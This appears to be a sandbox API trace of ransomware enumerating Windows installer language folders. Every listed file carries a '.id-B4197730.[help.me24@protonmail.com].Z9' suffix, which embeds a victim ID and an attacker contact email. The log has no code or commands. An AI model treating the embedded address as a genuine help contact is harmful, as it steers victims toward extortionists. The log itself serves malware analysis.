	[0160.497] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b6a895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35b6a895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35bb6d88, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.498] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35bb6d88, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35bb6d88, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35bdceb2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.498] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3618695d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3618695d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b58de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.498] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3618695d, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3618695d, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x362b58de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.498] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.499] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.499] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0160.499] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.499] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e628
	[0160.499] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.499] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35bdceb2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35bdceb2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35c29384, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.500] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35c29384, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35c29384, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35c4f657, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.500] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362a4885, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362a4885, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36328202, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.500] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362a4885, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362a4885, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36328202, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.500] FindClose (in: hFindFile=0x76e628 | out: hFindFile=0x76e628) returned 1
	[0160.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.501] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0160.501] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.501] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.501] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.501] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f242f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35f242f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36302030, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.502] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x367bbe04, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x367bbe04, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x367dad6e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.502] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362b58de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362b58de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36328202, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.502] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362b58de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362b58de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36328202, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.502] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.503] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0160.503] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.503] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e768
	[0160.504] FindNextFileW (in: hFindFile=0x76e768, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.504] FindNextFileW (in: hFindFile=0x76e768, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e3f643, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e3f643, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35e6585c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.504] FindNextFileW (in: hFindFile=0x76e768, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35e8ba73, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.504] FindNextFileW (in: hFindFile=0x76e768, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362b58de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362b58de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3634e4b6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.504] FindNextFileW (in: hFindFile=0x76e768, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362b58de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362b58de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3634e4b6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.504] FindClose (in: hFindFile=0x76e768 | out: hFindFile=0x76e768) returned 1
	[0160.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.505] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0160.505] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.505] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ec28
	[0160.545] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.545] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35eb493b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35eb493b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36302030, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.545] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3678e95a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3678e95a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3678e95a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.545] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362dbdff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362dbdff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3634e4b6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.545] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x362dbdff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x362dbdff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3634e4b6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.546] FindClose (in: hFindFile=0x76ec28 | out: hFindFile=0x76ec28) returned 1
	[0160.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.546] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0160.546] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.546] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ec28
	[0160.548] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.548] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36302030, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36302030, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3639aa17, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.548] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36374648, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36374648, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3639aa17, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.549] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x364b9b23, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x364b9b23, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364dff21, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.549] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x364b9b23, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x364b9b23, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364dff21, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.549] FindClose (in: hFindFile=0x76ec28 | out: hFindFile=0x76ec28) returned 1
	[0160.550] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.550] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0160.550] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.550] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.562] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
